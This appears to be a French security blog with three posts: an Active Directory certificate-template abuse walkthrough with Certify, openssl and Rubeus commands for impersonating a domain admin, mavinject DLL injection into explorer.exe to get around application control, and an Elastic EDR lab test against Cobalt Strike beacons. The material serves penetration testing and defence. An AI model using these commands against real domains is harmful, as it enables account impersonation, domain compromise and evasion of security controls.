Compromission d’un Active Directory à partir de modèles de certificats vulnérables

J’ai souvent noté que les audits portant sur la sécurité de l’Active Directory faisaient l’impasse sur le service de certificats.

Or il suffit d’un seul modèle de certificat mal configuré pour pouvoir usurper l’identité de n’importe compte du domaine et potentiellement compromettre l’Active Directory !

En réalité rien de nouveau depuis la Blackhat de 2021 « Certified Pre-Owned: Abusing Active Directory Certificate Services » (https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) mais malheureusement force est de constater que le message n’est pas bien passé.

Alors pour les gens pressés, comment faire pour compromettre l’AD avec des certificats ?

Il faut d’abord lister les modèles de certificat vulnérables, prenez par exemple l’outil Certify (https://github.com/GhostPack/Certify) qui va vous lister tous vos modèles de certificat vulnérables :

Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

Ensuite il vous faut repérer les templates vulnérables, c’est à dire ceux réunissant les 3 conditions suivantes :

pkiextendedkeyusage             : Client Authentication
msPKI-Certificates-Name-Flag    : ENROLLEE_SUPPLIES_SUBJECT
Enrollment Rights               : NT AUTHORITY\Authenticated Users

En somme il faut rechercher les templates accessibles à tout utilisateur permettant de réaliser de l’authentification client et autorisant la fourniture d’un SAN (sujet alternatif, un autre compte que vous-même).

Une fois les templates repérés il n’y a plus qu’à demander un certificat pour le compte d’une tierce personne, au hasard un domain admin :=)

Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

Une fois la clé privée et le certificat obtenu, convertissez les en PFX (PKCS12) avec openssl :

openssl pkcs12 -in cert.pem -inkey key.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Muni de votre certificat cert.pfx l’étape suivante consiste à demander un ticket Kerberos TGT pour l’utilisateur victime (c’est le nom du compte dans le SAN du certificat) et d’injecter ce TGT dans votre propre processus LSASS :

Rubeus.exe asktgt /user:victim /certificate:C:\Temp\cert.pfx /password:password

Vous pouvez vérifier la présence de ce ticket TGT avec la commande klist

Et voila, vous pouvez maintenant utiliser vos nouveaux droits sur le domaine, simple non ?

Alors j’ai passé sous silence quelques points comme le bypass des outils de sécurité locaux, antivirus , d’EDR, etc mais là n’était pas le sujet.

Je trouve cette technique incroyablement simple et efficace, pas la peine de se fatiguer à casser des mots de passe sur du Kerberoasting par exemple, l’authentification par certificat rend le pentest AD tellement plus facile.

Mavinject où comment Microsoft facilite l’injection de code malveillant

Si vous n’êtes pas un féru des LOLBins – vous savez les binaires Microsoft qui détournés de leur usage standard peuvent réaliser des actions malveillantes (https://lolbas-project.github.io/) – alors vous n’avez probablement jamais entendu parlé de mavinject.exe.

Cette exécutable est utilisé par la technologie App-V de Microsoft, de la virtualisation d’applications, chose que l’on ne rencontre pas forcément très souvent sur des postes de travail lambda.

Tout ça pour dire que si vous n’utilisez pas cette technologie App-V alors vous avez sur votre système un exécutable signé par Microsoft, légitime, qui permet comme par magie, en une seule ligne de commande d’injecter du code (une DLL) dans les processus Windows.

Un petit exemple vaut mieux qu’un long discours.

Imaginez un document Office malveillant qui enregistre une DLL quelque part sur votre système, disons pour faire simple dans C:\Temp

La macro n’a qu’une seule ligne de code à exécuter pour charger cette DLL dans un processus actif, par exemple dans l’explorateur de fichiers.

Cet exemple n’est pas si anodin, l’explorateur de fichiers (explorer.exe) est souvent utilisé pour héberger du code malveillant car il est toujours chargé en mémoire.

L’injection de code ne nécessite que le PID (Process ID) du processus cible, par exemple ici mon explorateur de fichiers a le PID 1700 :

Ensuite il n’y a plus qu’à lancer mavinject.exe (il se trouve dans C:\windows\System32 et C:\windows\SysWOW64) avec le PID cible et le chemin de la DLL à injecter :

Et boum la DLL est chargée dans l’espace mémoire de l’explorateur de fichiers comme on peut le voir ci-dessous (injectme64.dll présent dans la liste des DLL chargées par le processus explorer.exe) :

et forcément le code de la DLL est exécutée (DllMain) :

Moralité, il s’agit d’une technique extrêmement simple fournie par Microsoft pour tout acteur malveillant qui souhaite cacher du code dans des processus et par la même occasion bypasser les solutions de contrôles d’applications (comme Applocker par exemple), pas mal non ?

Introduction à ELK Security et détection Cobalt Strike

Ce post est une toute petite introduction à l’EDR ELK Security (de la suite Elastic) et un test rapide de détection des beacons standard Cobalt Strike.

Il est possible de tester toutes les fonctionnalités de la suite Elastic y compris celles de sécurité comme le Machine Learning et son EDR pour 30 jours alors let’s go !

Pleins de tutos fourmillent sur Internet, ci-joint quelques liens que j’ai utilisé pour monter ce LAB en VM :

A noter qu’Elastic vous permet aussi de tester leur solution sur une instance Cloud.

  • https://techviewleo.com/install-elastic-stack-7-elk-on-debian/
  • https://www.stefan-hechler.de/it/elastic-guide-install-the-easy-way-fleet-management/
  • https://www.youtube.com/watch?v=11PWoDIc10I

Voici la configuration de mon LAB au niveau de l’EDR ELK :

Comme tous les EDR vous pouvez choisir d’être en mode Détection uniquement ou en mode Détection et Prévention.

J’ai d’abord choisi de tester le mode Détection uniquement :

J’ai ensuite activé un maximum de Rules :

Ensuite j’ai déployé l’agent EDR sur une machine Windows 10 :

Du côté de la VM Windows 10, on note la présence de l’EDR ELK dans les services :

Afin de ne pas bloquer les beacons de base Cobalt Strike j’ai volontairement désactivé l’antivirus, dans mon cas Windows Defender :

OK maintenant on prêt pour les tests.

Je lance mon team server Cobalt Strike et je génère un fichier malveillant de type HTA que je dépose sur la VM Windows 10 victime :

Maintenant je clique sur evil.hta et je passe du côté de l’EDR pour voir ce qu’il se passe : la menace est bien détectée, on peut voir les détails de la chaine d’exécution :

Vu que je suis en mode Detection only la connexion entre l’agent Cobalt Strike et mon TeamServer n’est pas coupée, je peux donc lancer des commandes à distance comme par exemple lister les processus de la machine Windows 10 :

Côté EDR je n’ai cependant pas noté de détection supplémentaire liée à cette action..

Faisons un autre test, cette fois en passant en mode Detection and Prevention avec notification de l’utilisateur :

Côté Cobalt Strike je génère cette-fois un beacon http sous forme d’exécutable (artifact.exe) :

Je dépose ensuite cet exécutable sur la VM Windows 10 et pareil je le lance et j’observe, on obtient une nouvelle alerte :

Et cette fois le beacon Cobalt Strike est stoppé dans sa course grâce à la prévention, côté utilisateur on a bien une notification :

Ce qui intéressant avec ce type de LAB c’est qu’on peut s’en servir comme sandbox pour une analyse dynamique des malwares et observer les feux d’artifice des détections 🙂

Voila, ceci conclut cette petite introduction à l’EDR ELK Security.